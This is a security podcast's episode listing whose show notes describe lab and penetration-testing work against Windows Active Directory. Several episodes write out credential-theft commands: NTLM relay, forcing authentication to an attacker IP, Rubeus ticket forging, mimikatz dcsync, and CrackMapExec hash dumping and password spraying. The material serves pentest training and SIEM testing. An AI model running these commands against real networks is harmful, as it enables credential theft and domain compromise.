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7 Minute Security

Brian Johnson

7 Minute Security is a weekly information security podcast focusing on penetration testing, blue teaming and building a career in security. The podcast also features in-depth interviews with industry leaders who share their insights, tools, tips and tricks for being a successful security engineer.

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  • May 12, 2023 · 31 min

    7MS #571: Simple Ways to Test Your SIEM - Part 2

    Hey friends! This week I spoke at the Secure360 conference in Minnesota on Simple Ways to Test Your SIEM. This is something I covered a while back on the podcast, but punched up the content a bit and built a refreshed a two-part GitHub gist that covers: Questions you can ask a prospective SIEM/SOC solution to figure out which one is the right fit for you All the tools/tips/scripts/etc. you need to run through 7 (and more!) simple ways to test your SIEM!

  • May 5, 2023 · 32 min

    7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

    SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! In today's episode we staged an NTLM relay attack using a vulnerable SQL server. First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled: cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt Then we setup lsarelayx in one window: lsarelayx --host=localhost And in a second window we ran ntlmrelayx.py: python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM Finally, in a third window we triggered authentication from the vulnerable SQL server: Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS Boom! Watch the local usernames and hashes fall out of the victim system. We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this: victim1 victim2 victim3 Then we tweaked the ntlmrelayx command slightly: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt Interestingly(?) only victim2 was attacked. Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server. TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

  • Apr 28, 2023 · 55 min

    7MS #569: Interview with Jim Simpson of Blumira

    Today we're excited to share a featured interview with our new friend Jim Simpson, CEO of Blumira. Jim was in security before it was hip/cool/lucrative, working with a number of startups as well as some big names like Duo. Blumira and 7 Minute Security have a shared love for helping SMBs be more secure, so it was great to chat with Jim about the IT/security challenges faced by SMBs, and what we can do make security more simple and accessible for them.

  • Apr 21, 2023 · 19 min

    7MS #568: Lets Play With the 2023 Local Administrator Password Solution!

    Hey friends, today we're playing with the new (April 2023) version of Local Administrator Password Solution (LAPS). Now it's baked right into PowerShell and the AD Users and Tools console. It's awesome, it's a necessary blue team control for any size company, and you should basically stop reading this and install LAPS now.

  • Apr 14, 2023 · 39 min

    7MS #567: How to Build an Intentionally Vulnerable SQL Server

    Hey friends, today we're talking about building an intentionally vulnerable SQL server, and here are the key URLs/commands talked about in the episode: Download SQL Server here Install SQL via config .ini file Or, install SQL via pure command line Deploy SQL with a service account while also starting TCP/IP and named pipes automagically: setup.exe /Q /IACCEPTSQLSERVERLICENSETERMS /ACTION="install" /FEATURES=SQL /INSTANCENAME=MSSQLSERVER /TCPENABLED=1 /NPENABLED=1 /SQLSVCACCOUNT="YOURDOMAIN\YOUR-SERVICE-ACCOUNT" /SQLSVCPASSWORD="YOUR PASSWORD" /SQLSYSADMINACCOUNTS="YOURDOMAIN\administrator" "YOURDOMAIN\domain users" Run PowerUpSQL to find vulnerable SQL servers: $Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"} Audit the discovered SQL servers: Get-SQLInstanceDomain -verbose | invoke-sqlaudit -verbose Fire off stored procedures to catch hashes! Invoke-SQLUncPathInjection -verbose -captureIP IP.OF-YOUR.KALI.BOX

  • Mar 31, 2023 · 54 min

    7MS #566: Tales of Pentest Pwnage - Part 47

    Ok, I know we say this every time, but it is true this time yet again: this is our favorite tale of pentest pwnage. It involves a path to DA we've never tried before, and introduced us to a new trick that one of our favorite old tools can do!

  • Mar 24, 2023 · 27 min

    7MS #565: How to Simulate Ransomware with a Monkey

    Hey friends, today we talk through how to simulate ransomware (in a test environment!) using Infection Monkey. It's a cool way to show your team and execs just how quick and deadly an infection can be to your business. You can feed the monkey a list of usernames and passwords/hashes to use for lateral movement, test network segmentation, set a UNC path of files to actually encrypt (careful - run in a test lab - NOT in prod!) and more!

  • Mar 17, 2023 · 43 min

    7MS #564: First Impressions of OVHcloud Hosted vCenter

    Today we offer you some first impressions of OVHcloud and how we're seriously considering moving our Light Pentest LITE training class to it! TLDR: It runs on vCenter, my first and only virtualization love! Unlimited VM "powered on" time and unlimited bandwidth Intergration with PowerShell so you can run a single script to "heal" your environment to a gold image Easy integration with pfSense to be able to manage the firewall and internal/external IPs Price comparable to what we're paying now in Azure land

  • Mar 10, 2023 · 35 min

    7MS #563: Cracking and Mapping and Execing with CrackMapExec - Part 2

    Hey friends, today we're covering part 2 of our series all about cracking and mapping and execing with CrackMapExec. Specifically we cover: # Enumerate where your user has local admin rights: cme smb x.x.x.x/24 -u user -p password # Set wdigest flag: cme smb x.x.x.x -u user -p password -M wdigest -o ACTION=enable # Dump AD creds: cme smb IP.OF.DOMAIN.CONTROLLER -u user -p password --ntds --enabled # Clean up AD dump output: cat /path/to/file.ntds | grep -iv disabled | cut -d ':' -f1,4 | grep -v '\$' | sort # Check ms-ds-machineaccountquota: cme ldap x.x.x.x -u user -p password -M maq # Check for Active Directory Certificate Services: cme ldap x.x.x.x -u user -p password -M adcs # Pull all AD user descriptions: cme ldap x.x.x.x -u user -p password -M get-desc-users # Pull all AD user descriptions down to a file and search for users with "pass" in description: cme ldap x.x.x.x -u user -p password -M user-desc # CrackMapExec database (CME) ## Clear database sudo rm -r ~/.cme ## Handy commands inside the cmedb prompt: hosts shares creds export shares detailed shares.csv export creds detailed creds.txt

  • Mar 3, 2023 · 40 min

    7MS #562: Cracking and Mapping and Execing with CrackMapExec

    Hey friends, today we covered many things cracking and mapping and execing with CrackMapExec. Specifically: # General enumeration to see if your account works, and where: cme smb x.x.x.x -u username -p pass # Check if print services are enabled: cme smb x.x.x.x -u username -p pass -M spooler # Check for the nopac vuln: cme smb x.x.x.x -u username -p pass -M nopac # Find GP passwords: cme smb DOMAIN.CONTROLLER.IP.ADDRESS -u username -p pass -M gpp_password # Get list of targets with smb signing: cme smb x.x.x.x -u username -p pass --gen-relay-list smbsigning.txt # Set wdigest flag: cme smb x.x.x.x -u username -p pass -M widgest -o ACTION=enable # Dump creds/hashes: cme smb x.x.x.x -u username -p pass -M lsassy # Do pass the hash attacks cme smb x.x.x.x -u username -H HASH # Dump SAM database: cme smb x.x.x.x -u username -p pass --sam # Enumerate SMB shares cme smb x.x.x.x -u username -p pass --shares # Conduct slinky attack: cme smb x.x.x.x -u username -p pass -M slinky -o NAME=LOL SERVER=10.0.7.7 # Cleanup from slinky attack: cme smb x.x.x.x -u username -p pass -M slinky -o NAME=LOL SERVER=10.0.7.7

  • Feb 24, 2023 · 46 min

    7MS #561: Interview with Chris Furner of Blumira

    Today I sat down with Chris Furner of Blumira to talk about all things cyber insurance. Many of 7MinSec's clients are renewing their policies this time of year, and many are looking into policies for the first time. Naturally, there are a ton of questions to ask and things to think about to make good coverage decisions for your business: How do I get started in looking for a cyber policy - with my general liability insurer? Or are there companies that specialize just in cyber insurance? How do I make sure I have the appropriate levels of coverage? What are basic things I can do from a security standpoint that pretty much any insurer is going to expect me to do? Enjoy the interview, where we cover these questions - and more! And be sure to also check out Blumira's whitepaper on this topic called The State of Cyber Insurance.

  • Feb 17, 2023 · 12 min

    7MS #560: 7MOOCH - Dolphin Rides Are Done Dude

    Hey friends, I took a mental health break this week and pre-podcasted this episode of a new series called 7MOOCH: 7 Minutes of Only Chuckles. In today's story, we unpack a situation in Hawaii that made me exclaim the following quite loudly: "Dolphin rides are done, dude!"

  • Feb 10, 2023 · 22 min

    7MS: #559: Tales of Pentest Pwnage - Part 46

    Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood): Change the Responder.conf file like so: ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788 Run Responder with --disable-ess flag sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess Use printerbug to coax authentication from a domain controller: sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX Convert hash to make it easier to crack! sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds! Now you can do a Rubeus asktgt with the DC hash: rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!! rubeus.exe ptt /ticket:TICKET GOES HERE Use mimikatz to dump all hashes! mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

  • Feb 7, 2023 · 22 min

    7MS #558: How to Build a Vulnerable Pentest Lab - Part 2

    Today we continue part 2 of a series we started a few weeks ago all about building a vulnerable pentesting lab. Check out the video above, and here are the main snippets of code and tips to get you going: Use Youzer to import a bunch of bogus users into your Active Directory: sudo python ./youzer.py --generate --generate_length 20 --ou "ou=Contractors,dc=brifly,dc=us" --domain brifly.us --users 1000 --output lusers.csv Make a Kerberoastable user: New-AdUser -Name "Kerba Roastable" -GivenName "Kerba" -Surname "Roastable" -SamAccountName Kerba -Description "ROASTED!" -Path "OU=Contractors,DC=brifly,DC=us" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -force) -passThru -PasswordNeverExpires $true enable-adaccount Kerba setspn -a IIS_SITE/brifly-dc01.brily.us:77777 briflyus\kerba

  • Jan 27, 2023 · 7 min

    7MS #557: Better Passive Network Visibility Using Teleseer

    Today we're talking about Teleseer, which is an awesome service to give you better network visibility - whether you're on the blue, red or purple team! It all starts with a simple packet capture, and ends with gorgeous visuals and insight into what the heck is on your network and - from a pentester's perspective - delicious vulnerabilities that may lie within!

  • Jan 20, 2023 · 7 min

    7MS #556: How to Build a Vulnerable Pentest Lab

    Today's episode is brought to us by our friends at Blumira! Today we kick off a series all about building your own vulnerable pentest lab from scratch, specifically: Spinning up a domain controller with a few lines of PowerShell Installing Active Directory Domain Services Setting up an intentionally cruddy password policy Baking in the MS14-025 vulnerability P.S. if you're looking for a more automated/push-button solution to get up and going with a lab to play in, check out some of these options: https://github.com/Orange-Cyberdefense/GOAD https://automatedlab.org/en/latest/ https://github.com/microsoft/MSLab https://github.com/davidprowe/BadBlood https://github.com/cliffe/secgen https://github.com/WazeHell/vulnerable-AD

  • Jan 13, 2023 · 7 min

    7MS #555: Light Pentest eBook 1.1 Release

    Today we're releasing version 1.1 of our Light Pentest eBook. Changes discussed in today's episode (and shown live in the accompanying YouTube video) include: Some typos and bug fixes A new section on finding systems with unconstrained delegation and exploiting them A new section on finding easily pwnable passwords via password spraying A new section relaying credentials with MITM6 (be careful using some of its options - read this New ways (and some words of warning) to dump hashes from Active Directory

  • Jan 6, 2023 · 59 min

    7MS #554: Simple Ways to Test Your SIEM

    Today we talk about Simple Ways to Test Your SIEM. Feel free to check out the YouTube version of this presentation, as well as our interview with Matt from Blumira for even more context, but here are the essential tools and commands covered: Port scanning nmap 10.0.7.0/24 - basic nmap scan massscan -p1-65535,U:1-65535 --rate=1000 10.0.7.0/24 -v - scan all 65k+ TCP and UDP ports! Password spraying Rubeus.exe spray /password:Winter2022! /outfile:pwned.txt - try to log into all AD accounts one time with Winter2022! as the password, and save any pwned creds to pwned.txt Kerberoasting and ASREPRoasting rubeus.exe kerberoast /simple rubeus asreproast /nowrap Key group membership changes net group "GROUP NAME" user-to-add-to-a-group /add Dump Active Directory hashes cme smb IP.OF.THE.DOMAINCONTROLLER -u user -p password --ntds --enabled ntdsutil "ac i ntds" "ifm" "create full c:\dc-backup" q q SMB share hunting Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\output - SMB enumeration using PowerHuntShares

  • Dec 30, 2022 · 5 min

    7MS #553: The Artificial Intelligence Throat Burn Episode

    Hey friends, today's episode is hosted by an AI from Murf.ai because I suffered a throat injury over the holidays and spent Christmas morning in the emergency room! TLDL: I'm fine, but if you want the (sort of) gory details and an update on my condition after my ENT appointment, check out today's episode. Otherwise, we'll see you next week when our regularly scheduled security content continues in 2023. Merry belated Christmas, happy holidays and happiest of new year to you and yours!